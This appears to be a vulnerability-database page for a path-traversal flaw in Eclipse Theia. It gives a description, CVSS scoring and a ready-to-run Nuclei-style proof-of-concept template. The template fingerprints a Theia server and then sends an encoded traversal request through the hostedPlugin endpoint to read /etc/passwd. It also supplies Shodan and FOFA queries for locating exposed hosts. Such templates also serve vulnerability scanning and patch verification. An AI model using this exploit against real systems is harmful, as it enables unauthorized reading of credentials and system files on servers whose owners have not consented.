CVE-2026-12609: Eclipse Theia - Unauthenticated Path Traversal

2026-10-15 PoC Public

Description

Eclipse Theia's plugin-ext backend exposes the hostedPlugin endpoint without constraining the resolved path to the plugin directory. An unauthenticated request using encoded traversal sequences can therefore read files accessible to the backend process. The built-in vscode_bat plugin identifier provides a deterministic anchor without target-specific setup.

Details

CVE
CVE-2026-12609 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-12609

info:
  name: Eclipse Theia - Unauthenticated Path Traversal
  author: str4k3r
  severity: high
  description: |
    Eclipse Theia's plugin-ext backend exposes the hostedPlugin endpoint without constraining the resolved path to the plugin directory. An unauthenticated request using encoded traversal sequences can therefore read files accessible to the backend process. The built-in vscode_bat plugin identifier provides a deterministic anchor without target-specific setup.
  impact: |
    An unauthenticated attacker can read arbitrary files accessible to the backend process, potentially exposing sensitive configuration, credentials, and system files.
  remediation: |
    Upgrade Eclipse Theia to the patched version.
  reference:
    - https://github.com/eclipse-theia/theia/security/advisories/GHSA-qmm6-p8q4-2g48
    - https://gitlab.eclipse.org/security/cve-assignment/-/work_items/133
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-12609
    epss-score: 0.01644
    epss-percentile: 0.75823
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: eclipse
    product: theia
    shodan-query: html:"eclipse-theia"
    fofa-query: body="eclipse-theia"
  tags: cve,cve2026,eclipse,theia,lfi,traversal,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "eclipse-theia")'
        internal: true

  - raw:
      - |
        GET /hostedPlugin/vscode_bat/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'regex("root:.*:0:0:", body)'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100ae1bfbbb98a365554d071f154da213818b01f1828f8f806aefc38a5244fbac68022100f2a5d73c1a2370ff64da4856093e819d0c3f651bb08b63fe291abab3fe635c8b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life